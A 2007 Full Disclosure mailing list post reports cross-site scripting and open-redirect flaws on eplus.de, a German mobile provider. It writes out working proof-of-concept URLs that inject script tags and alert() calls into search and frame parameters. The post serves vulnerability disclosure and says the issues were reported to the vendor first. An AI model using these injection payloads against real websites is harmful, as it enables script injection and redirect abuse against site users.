Full Disclosure mailing list archives
XSS on eplus.de, german mobile telephony provider
From: "Hanno Böck" <mail () hboeck de>
Date: Mon, 12 Mar 2007 19:15:14 +0100
Here we go: http://www.eplus.de/meta/shopsuche/suche_ausgabe.asp?suchwort="><script>alert(1)</script> http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de/');alert(1);document.write(' http://www.eplus-unternehmen.de/frame.asp?go=');alert(' Already fixed ones: http://www.eplus-unternehmen.de/frame.asp?go=http://www.google.de/ http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de () www google de http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.dedomain.com http://www.eplus-unternehmen.de/frame.asp?go=http://www.eplus.de.mydomain.com With lot's of work done by alexander brachmann, www.bitsploit.de. All have been reported to E-Plus before. Blog-entry english: http://www.hboeck.de/item/458 Blog-entry german (more detailed): http://www.hboeck.de/item/457 -- Hanno Böck Blog: http://www.hboeck.de/ GPG: 3DBD3B20 Jabber: jabber () hboeck de
Attachment:
_bin
Description:
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- XSS on eplus.de, german mobile telephony provider Hanno Böck (Mar 12)